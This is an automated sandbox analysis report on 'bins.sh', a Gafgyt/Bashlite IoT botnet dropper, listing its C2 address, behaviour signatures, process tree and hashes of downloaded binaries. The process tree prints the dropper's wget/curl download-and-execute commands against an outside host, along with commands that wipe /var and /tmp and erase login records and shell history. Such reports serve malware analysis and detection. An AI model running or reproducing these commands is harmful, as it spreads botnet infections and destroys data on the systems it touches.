Analysis

  • max time kernel
    36s
  • max time network
    38s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03-02-2025 06:37

General

  • Target

    bins.sh

  • Size

    2KB

  • MD5

    117c2965eb47f06d0de1d96fd49e4713

  • SHA1

    959ce6a78f5d2c0bad3314409a7dfe2323f98902

  • SHA256

    cbac01aa815a84b35d73ba422eddc59b9cae2ad224c76635319f9d3caa9d0f88

  • SHA512

    9996ca57694330ad1c3ccba35f04dc18581a4687e9fc91ec8af2d0c5cca99abf9b3456cebf6d1cf9225334f5b822a4062760d62bfd4f029d50f98cb3d5d17ad0

Malware Config

Extracted

Family

gafgyt

C2

185.237.15.131:666

Signatures

  • Detected Gafgyt variant 12 IoCs
  • Gafgyt family
  • Gafgyt/Bashlite

    IoT botnet with numerous variants first seen in 2014.

  • File and Directory Permissions Modification 1 TTPs 13 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 13 IoCs
  • Writes DNS configuration 1 TTPs 1 IoCs

    Writes data to DNS resolver config file.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads CPU attributes 1 TTPs 1 IoCs
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 25 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:703
    • /usr/bin/wget
      wget http://bins.freesite.host/bins/jackmymips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:708
    • /usr/bin/curl
      curl -O http://bins.freesite.host/bins/jackmymips
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:729
    • /bin/chmod
      chmod +x jackmymips
      2⤵
      • File and Directory Permissions Modification
      PID:732
    • /tmp/jackmymips
      ./jackmymips
      2⤵
      • System Network Configuration Discovery
      PID:733
    • /bin/rm
      rm -rf jackmymips
      2⤵
      • System Network Configuration Discovery
      PID:735
    • /usr/bin/wget
      wget http://bins.freesite.host/bins/jackmymipsel
      2⤵
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:736
    • /usr/bin/curl
      curl -O http://bins.freesite.host/bins/jackmymipsel
      2⤵
      • Reads runtime system information
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:737
    • /bin/chmod
      chmod +x jackmymipsel
      2⤵
      • File and Directory Permissions Modification
      PID:742
    • /tmp/jackmymipsel
      ./jackmymipsel
      2⤵
      • Writes DNS configuration
      • Changes its process name
      • System Network Configuration Discovery
      PID:744
      • /bin/sh
        sh -c "pkill -9 busybox"
        3⤵
          PID:752
          • /usr/bin/pkill
            pkill -9 busybox
            4⤵
            • Reads CPU attributes
            • Reads runtime system information
            PID:753
        • /bin/sh
          sh -c "rm -rf /tmp/* /var/* /var/run/* /var/tmp/*"
          3⤵
            PID:755
            • /bin/rm
              rm -rf /tmp/bins.sh /tmp/systemd-private-0e2dfaf373a441a5b372b5f4c9ced64c-systemd-timedated.service-zCXT45 /var/backups /var/cache /var/lib /var/local /var/lock /var/log /var/mail /var/opt /var/run /var/spool /var/tmp /var/run/atd.pid /var/run/auditd.pid /var/run/console-setup /var/run/crond.pid /var/run/crond.reboot /var/run/dbus /var/run/dhclient.enp0s19.pid /var/run/exim4 /var/run/initctl /var/run/initramfs /var/run/lock /var/run/log /var/run/motd.dynamic /var/run/mount /var/run/network /var/run/rsyslogd.pid /var/run/sendsigs.omit.d /var/run/shm /var/run/sshd /var/run/sshd.pid /var/run/systemd /var/run/tmpfiles.d /var/run/udev /var/run/user /var/run/utmp /var/tmp/systemd-private-0e2dfaf373a441a5b372b5f4c9ced64c-systemd-timedated.service-WL3gsD
              4⤵
                PID:756
            • /bin/sh
              sh -c "rm -rf /var/log/wtmp"
              3⤵
                PID:767
                • /bin/rm
                  rm -rf /var/log/wtmp
                  4⤵
                    PID:769
                • /bin/sh
                  sh -c "rm -rf ~/.bash_history"
                  3⤵
                    PID:771
                    • /bin/rm
                      rm -rf "~/.bash_history"
                      4⤵
                        PID:772
                    • /bin/sh
                      sh -c "history -c;history -w"
                      3⤵
                        PID:774
                    • /bin/rm
                      rm -rf jackmymipsel
                      2⤵
                      • System Network Configuration Discovery
                      PID:747
                    • /usr/bin/wget
                      wget http://bins.freesite.host/bins/jackmysh4
                      2⤵
                      • Writes file to tmp directory
                      PID:749
                    • /usr/bin/curl
                      curl -O http://bins.freesite.host/bins/jackmysh4
                      2⤵
                      • Writes file to tmp directory
                      PID:760
                    • /bin/chmod
                      chmod +x jackmysh4
                      2⤵
                      • File and Directory Permissions Modification
                      PID:785
                    • /tmp/jackmysh4
                      ./jackmysh4
                      2⤵
                        PID:786
                      • /bin/rm
                        rm -rf jackmysh4
                        2⤵
                          PID:789
                        • /usr/bin/wget
                          wget http://bins.freesite.host/bins/jackmyx86
                          2⤵
                          • Writes file to tmp directory
                          PID:790
                        • /usr/bin/curl
                          curl -O http://bins.freesite.host/bins/jackmyx86
                          2⤵
                          • Writes file to tmp directory
                          PID:796
                        • /bin/chmod
                          chmod +x jackmyx86
                          2⤵
                          • File and Directory Permissions Modification
                          PID:798
                        • /tmp/jackmyx86
                          ./jackmyx86
                          2⤵
                            PID:799
                          • /bin/rm
                            rm -rf jackmyx86
                            2⤵
                              PID:801
                            • /usr/bin/wget
                              wget http://bins.freesite.host/bins/jackmyarmv6
                              2⤵
                              • Writes file to tmp directory
                              PID:802
                            • /usr/bin/curl
                              curl -O http://bins.freesite.host/bins/jackmyarmv6
                              2⤵
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:803
                            • /bin/chmod
                              chmod +x jackmyarmv6
                              2⤵
                              • File and Directory Permissions Modification
                              PID:805
                            • /tmp/jackmyarmv6
                              ./jackmyarmv6
                              2⤵
                                PID:806
                              • /bin/rm
                                rm -rf jackmyarmv6
                                2⤵
                                  PID:808
                                • /usr/bin/wget
                                  wget http://bins.freesite.host/bins/jackmyi686
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:809
                                • /usr/bin/curl
                                  curl -O http://bins.freesite.host/bins/jackmyi686
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:810
                                • /bin/chmod
                                  chmod +x jackmyi686
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:812
                                • /tmp/jackmyi686
                                  ./jackmyi686
                                  2⤵
                                    PID:813
                                  • /bin/rm
                                    rm -rf jackmyi686
                                    2⤵
                                      PID:815
                                    • /usr/bin/wget
                                      wget http://bins.freesite.host/bins/jackmypowerpc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:816
                                    • /usr/bin/curl
                                      curl -O http://bins.freesite.host/bins/jackmypowerpc
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:817
                                    • /bin/chmod
                                      chmod +x jackmypowerpc
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:819
                                    • /tmp/jackmypowerpc
                                      ./jackmypowerpc
                                      2⤵
                                        PID:820
                                      • /bin/rm
                                        rm -rf jackmypowerpc
                                        2⤵
                                          PID:822
                                        • /usr/bin/wget
                                          wget http://bins.freesite.host/bins/jackmyi586
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:823
                                        • /usr/bin/curl
                                          curl -O http://bins.freesite.host/bins/jackmyi586
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:824
                                        • /bin/chmod
                                          chmod +x jackmyi586
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:826
                                        • /tmp/jackmyi586
                                          ./jackmyi586
                                          2⤵
                                            PID:827
                                          • /bin/rm
                                            rm -rf jackmyi586
                                            2⤵
                                              PID:829
                                            • /usr/bin/wget
                                              wget http://bins.freesite.host/bins/jackmym86k
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:830
                                            • /usr/bin/curl
                                              curl -O http://bins.freesite.host/bins/jackmym86k
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:831
                                            • /bin/chmod
                                              chmod +x jackmym86k
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:833
                                            • /tmp/jackmym86k
                                              ./jackmym86k
                                              2⤵
                                                PID:834
                                              • /bin/rm
                                                rm -rf jackmym86k
                                                2⤵
                                                  PID:836
                                                • /usr/bin/wget
                                                  wget http://bins.freesite.host/bins/jackmysparc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:837
                                                • /usr/bin/curl
                                                  curl -O http://bins.freesite.host/bins/jackmysparc
                                                  2⤵
                                                  • Writes file to tmp directory
                                                  PID:841
                                                • /bin/chmod
                                                  chmod +x jackmysparc
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:843
                                                • /tmp/jackmysparc
                                                  ./jackmysparc
                                                  2⤵
                                                    PID:844
                                                  • /bin/rm
                                                    rm -rf jackmysparc
                                                    2⤵
                                                      PID:846
                                                    • /usr/bin/wget
                                                      wget http://bins.freesite.host/bins/jackmyarmv4
                                                      2⤵
                                                      • Writes file to tmp directory
                                                      PID:847
                                                    • /usr/bin/curl
                                                      curl -O http://bins.freesite.host/bins/jackmyarmv4
                                                      2⤵
                                                      • Reads runtime system information
                                                      • Writes file to tmp directory
                                                      PID:848
                                                    • /bin/chmod
                                                      chmod +x jackmyarmv4
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:850
                                                    • /tmp/jackmyarmv4
                                                      ./jackmyarmv4
                                                      2⤵
                                                        PID:851
                                                      • /bin/rm
                                                        rm -rf jackmyarmv4
                                                        2⤵
                                                          PID:853
                                                        • /usr/bin/wget
                                                          wget http://bins.freesite.host/bins/jackmyarmv5
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:854
                                                        • /usr/bin/curl
                                                          curl -O http://bins.freesite.host/bins/jackmyarmv5
                                                          2⤵
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:855
                                                        • /bin/chmod
                                                          chmod +x jackmyarmv5
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:857
                                                        • /tmp/jackmyarmv5
                                                          ./jackmyarmv5
                                                          2⤵
                                                            PID:858
                                                          • /bin/rm
                                                            rm -rf jackmyarmv5
                                                            2⤵
                                                              PID:860
                                                            • /usr/bin/wget
                                                              wget http://bins.freesite.host/bins/jackmypowerpc440
                                                              2⤵
                                                                PID:861
                                                              • /usr/bin/curl
                                                                curl -O http://bins.freesite.host/bins/jackmypowerpc440
                                                                2⤵
                                                                • Writes file to tmp directory
                                                                PID:862
                                                              • /bin/chmod
                                                                chmod +x jackmypowerpc440
                                                                2⤵
                                                                • File and Directory Permissions Modification
                                                                PID:864
                                                              • /tmp/jackmypowerpc440
                                                                ./jackmypowerpc440
                                                                2⤵
                                                                  PID:865
                                                                • /bin/rm
                                                                  rm -rf jackmypowerpc440
                                                                  2⤵
                                                                    PID:866

                                                                Network

                                                                MITRE ATT&CK Enterprise v15

                                                                Replay Monitor

                                                                Loading Replay Monitor...

                                                                Downloads

                                                                • /tmp/jackmyarmv4

                                                                  Filesize

                                                                  121KB

                                                                  MD5

                                                                  0a405ebd5dbfda473cb4ea67fb11022e

                                                                  SHA1

                                                                  63aa1adc69cfa659eaef618a13b237a5ba99c676

                                                                  SHA256

                                                                  25be6a0e7a281425036ca5e32f41044d267f9ce9e7734199e07d47d35ff71329

                                                                  SHA512

                                                                  cf715da52e6c708d305b45074816759654380d16ae9fd4256fb7922b5a1eeec3b9c02207b93bcf86be484d4392538f1cb27600da376da04751ad6b237d3d7956

                                                                • /tmp/jackmyarmv5

                                                                  Filesize

                                                                  114KB

                                                                  MD5

                                                                  16c719f948532703e99acccf76d2faa3

                                                                  SHA1

                                                                  b44cd1659fce47ccc079c07f9b034ef482985ffe

                                                                  SHA256

                                                                  ce5da3d0daaa7d8f9ec0ea62ead3fb5a110ec1a6a58cd4229c653883c4d81a84

                                                                  SHA512

                                                                  a34f80b6dac32d05a36ddaf7664275d72f1875f658cf05c524583265aea4e25fdf34fdd3c6b3b0a92bc07ed4421b985a0309cafcd2fee07dae570c752fdbc98f

                                                                • /tmp/jackmyarmv6

                                                                  Filesize

                                                                  135KB

                                                                  MD5

                                                                  5e4a03f668b36cf458db8120f5fd61a2

                                                                  SHA1

                                                                  3c832a0bc244fbf28b7972025c1cc3a6e20e96a1

                                                                  SHA256

                                                                  a79e47302aaceccefa752bc0311c60faf0585c9b27e14c8d8c927d476faee724

                                                                  SHA512

                                                                  98cf5a25c3422e6bfd7371805f2167ec1da9c4d69ef13d5825bade1142e087f34aed3e73d11904b99334a7d816e56d7a390db316b12e42bddee90dcd2b0a77a8

                                                                • /tmp/jackmyi586

                                                                  Filesize

                                                                  93KB

                                                                  MD5

                                                                  2eead00e32c17e8a8b42ae0bd5657b96

                                                                  SHA1

                                                                  f2fd0a91faf84ad1a1667d37203d08d30f68a52c

                                                                  SHA256

                                                                  e4268bb0b926afb0def833f91ca73145fd6465f38b64215277b9a473c7902c33

                                                                  SHA512

                                                                  f6d2be735f54fae4c99e1f3fbc2eaa9a632dfc1e162cf84cb539fab68a0858d40b4dc3f8cf0b9609d5af3ad6f3a8e8f8353ec2184770ecefc974069d7e7dc35e

                                                                • /tmp/jackmyi686

                                                                  Filesize

                                                                  93KB

                                                                  MD5

                                                                  608f6186183cc60ee980a3c61ed75657

                                                                  SHA1

                                                                  11ff1ae027e903b8346dc96ee3efe89b51a8a870

                                                                  SHA256

                                                                  4e2dc2ac640b9a450cabc34f024b66dd02c28ba4ff7553e92e2da05542c9334f

                                                                  SHA512

                                                                  5be2f66fe54bd27cd37256b28fc6a9906c4c30c87ecb766a4dc3de0c5a0b0d328879541328b623a094e744a28d167e2bceeafade98cbc7bf4ef26ded06da8217

                                                                • /tmp/jackmym86k

                                                                  Filesize

                                                                  111KB

                                                                  MD5

                                                                  8c4076716dc9b9d376b81ee1f9553882

                                                                  SHA1

                                                                  b192fac381d8f5883934217e51b04c71a7bb5b6b

                                                                  SHA256

                                                                  89df86cca67c48fc5a983b1fd52ce51220b43abbd9eec78ae1a72eebd6cf8995

                                                                  SHA512

                                                                  42fc2233dcdbd2ffbce29e81cc8319d3bdcd659eef73f0c3f47937954a7fa55c3477955fb817004cda3376586e151c9fddd14d13543929cd806bc74823652d18

                                                                • /tmp/jackmymips

                                                                  Filesize

                                                                  141KB

                                                                  MD5

                                                                  f07907753da39138058eefc527185ac0

                                                                  SHA1

                                                                  bf6af9d8c1fbff0f48e73427f887194a02aac844

                                                                  SHA256

                                                                  b0ec23f3a680be657e03be5bf279c1f99f12ee356f05bbefd2b562cb92c78d3a

                                                                  SHA512

                                                                  224149662ee0dfcc0a008436812479f643f7f10bba3d44be7619a7cf33810327e0ec763ada8a4f3647a575ea962789fc0ec1ee13d48d07e08054abad4930d657

                                                                • /tmp/jackmymipsel

                                                                  Filesize

                                                                  141KB

                                                                  MD5

                                                                  a66621dce8bb5463b936b6650d52f918

                                                                  SHA1

                                                                  24a1a2af65d9e4b453439e013d360059f21c555a

                                                                  SHA256

                                                                  6e3f0a5bd00e6e610efdb0a784354141b44be5055733c68fd6a036f689f9ab03

                                                                  SHA512

                                                                  5b4ae51f4d7e7494c97286bf762deb60a088ad72ea6d5c55f11715e22124e08ba285f13d5156ecc32cf3547913ddee1cd6336265a352ff3174bd7edb96640c9e

                                                                • /tmp/jackmypowerpc

                                                                  Filesize

                                                                  106KB

                                                                  MD5

                                                                  e02d5792cbcfba013b77203f049e8d48

                                                                  SHA1

                                                                  0659308f6099fcca6d5ac0783f976989f3c0464f

                                                                  SHA256

                                                                  47761f435515620e8296b30add528960578ab073a0f52cf1021c9901ceb97d09

                                                                  SHA512

                                                                  9d57d98bd0b3f8ada78cd684720b0902cead9fc7f1677f9ec2351362f0387fcfdd06b8f0e13a053684c5324912b946df4d4dd807d4d92130d7ee1d68729ab066

                                                                • /tmp/jackmypowerpc440

                                                                  Filesize

                                                                  383B

                                                                  MD5

                                                                  c5b7886a10c68a91d995bc1db26f8a1c

                                                                  SHA1

                                                                  005cdf83bca301545cabdc8b133519c4e83d0c0a

                                                                  SHA256

                                                                  44bf68f78f972505d7956bbe50d60ae75de8b95ef33fd181b2a8fb8aa8dffc21

                                                                  SHA512

                                                                  68c3f6868e1fce816fc49a73cf00fc7d9597ecf5998115d3a547337b540082d6d65cbb320b3884dc0cd2fd4b85e5cfb0d8b9f5185bd37ff5e70ecf8aa78755c9

                                                                • /tmp/jackmysh4

                                                                  Filesize

                                                                  102KB

                                                                  MD5

                                                                  6f1ea26027b8cd717ebb66dbef209df1

                                                                  SHA1

                                                                  1129623c2228408347c84b117db72fe08e0fe551

                                                                  SHA256

                                                                  e28b719b64201c9235e2640bd877d86884c1b6e031a9dc536bcb977ba82a61e7

                                                                  SHA512

                                                                  be9d639b58cdf72e081cd001c81b718c22d9af482258c2bef75fd7562d4256dc1fb15466b725ba5f37ef19cdf3d00dd4ebf5e46915249b5e2cbbd90c4aca1dc2

                                                                • /tmp/jackmysparc

                                                                  Filesize

                                                                  119KB

                                                                  MD5

                                                                  6288cc9f37ea265a1598737fda5ccc1a

                                                                  SHA1

                                                                  7b811ae42216a24eda07dc6f448329519823427b

                                                                  SHA256

                                                                  8549c5ef4adf358f75339db4241d2a20a3782d21fcc4e2f6a7d06b8d8e886196

                                                                  SHA512

                                                                  feaa5b1ccc2d4e8f408011a01095d7f9b759ef6a92950e9fcfd8fd89d28aac98b870b0c9950e649e491a6f1e97483fce5945fab4efceebae4cfb2965216c49b1

                                                                • /tmp/jackmyx86

                                                                  Filesize

                                                                  105KB

                                                                  MD5

                                                                  8417b0dbdc08c465ac90bb1111fca242

                                                                  SHA1

                                                                  246f21ea454c72ac6e41df489be314e39cbcda0f

                                                                  SHA256

                                                                  fe5967d1cc5122824d5628432045d81f0c126ba5b709a3790bf01cf626667f9a

                                                                  SHA512

                                                                  fef20df6bfe3a6620fed3f8f68bbd4196eb07f8d5f6728a67cbbc2d7cdba7582d327e49379871fe9d8a074b4758e46f892bbc97a9d6fbbb6435fe56012ae0c22